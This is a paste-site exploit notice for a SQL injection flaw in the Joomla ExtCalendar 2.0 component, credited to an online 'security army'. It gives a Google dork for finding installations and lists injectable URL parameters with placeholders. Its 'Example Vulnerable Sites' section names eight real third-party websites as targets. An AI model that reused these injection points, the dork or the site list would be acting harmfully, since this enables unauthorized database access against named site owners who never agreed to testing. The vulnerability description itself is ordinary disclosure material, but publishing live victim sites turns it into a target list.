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KingSkrupellos

Joomla ExtCalendar 2.0 SQL Injection

KingSkrupellos
Feb 11th, 2019
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  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla ExtCalendar 2.0 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 12/02/2019
  7. # Vendor Homepage : sourceforge.net/projects/extcal/ - github.com/simoami
  8. # Software Download Link : sourceforge.net/projects/extcal/files/latest/download
  9. # Software Information Link : softaculous.com/apps/calendars/ExtCalendar
  10. # Software Version : 2.0
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/index.php?option=com_extcalendar''
  15. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  16. Special Elements used in an SQL Command ('SQL Injection') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20.  
  21. ####################################################################
  22.  
  23. # Description about Software :
  24. ***************************
  25. ExtCalendar is an open-source calendar application, with an integrated event managemt system.
  26.  
  27. ExtCalendar is a powerful multi-user web-based calendar application.
  28.  
  29. Features include Multi-Languages, Themes, Recurrent Events, Categories, Users and
  30.  
  31. Groups management, Environment and General Settings, Template Configuration, Product Updates.
  32.  
  33. ####################################################################
  34.  
  35. # Impact :
  36. ***********
  37. Joomla ExtCalendar 2.0 and other versions -
  38.  
  39. component for Joomla is prone to an SQL-injection vulnerability because it
  40.  
  41. fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  42.  
  43. Exploiting this issue could allow an attacker to compromise the application,
  44.  
  45. access or modify data, or exploit latent vulnerabilities in the underlying database.
  46.  
  47. A remote attacker can send a specially crafted request to the vulnerable application
  48.  
  49. and execute arbitrary SQL commands in application`s database.
  50.  
  51. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  52.  
  53. An attacker can exploit this issue using a browser.
  54.  
  55. ####################################################################
  56.  
  57. # SQL Injection Exploit :
  58. **********************
  59. /index.php?option=com_extcalendar&Itemid=[SQL Injection]
  60.  
  61. /index.php?option=com_extcalendar&Itemid=[SQL Injection]&extmode=cats
  62.  
  63. /index.php?option=com_extcalendar&Itemid=[ID-NUMBER]&extmode=view&extid=[SQL Injection]
  64.  
  65. /index.php?option=com_extcalendar&Itemid=[ID-NUMBER]&extmode=cal&date=[YEAR]-[MONTH]-[DAY][SQL Injection]
  66.  
  67. /index.php?option=com_extcalendar&Itemid=[ID-NUMBER]&extmode=flyer&date=[YEAR]-[MONTH]-[DAY][SQL Injection]
  68.  
  69. /components/com_extcalendar/cal_popup.php?extmode=view&extid=[SQL Injection]
  70.  
  71. [PATH]/calendar.php?mode=cat&cat_id=[SQL Injection]
  72.  
  73. ####################################################################
  74.  
  75. # Example Vulnerable Sites :
  76. *************************
  77. [+] overtoncountytn.com/index.php?option=com_extcalendar&Itemid=11&extmode=cats
  78.  
  79. [+] tenniscafekoch.at/index.php?option=com_extcalendar&Itemid=30
  80.  
  81. [+] tcwangen.ch/joomla/index.php?option=com_extcalendar&Itemid=41&extmode=cats
  82.  
  83. [+] tegelbergschule.de/index.php?option=com_extcalendar&Itemid=99999999&extmode=flyer&date=1977-03-01
  84.  
  85. [+] tahkuranna.ee/index.php?option=com_extcalendar&Itemid=99999999&extmode=view&extid=63
  86.  
  87. [+] mach-was-daraus.de/index.php?option=com_extcalendar&Itemid=31&extmode=cal&date=2326-02-01
  88.  
  89. [+] quizhelper.com/site/index.php?option=com_extcalendar&Itemid=30
  90.  
  91. [+] haitianstockexchange.com/hsm/index.php?option=com_extcalendar&Itemid=106
  92.  
  93. ####################################################################
  94.  
  95. # Example SQL Database Error :
  96. ****************************
  97. Deprecated: mktime(): The is_dst parameter is deprecated in
  98. /www/htdocs/w009c282/components/com_extcalendar
  99. /include/functions.inc.php on line 84
  100.  
  101. ####################################################################
  102.  
  103. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  104.  
  105. ####################################################################
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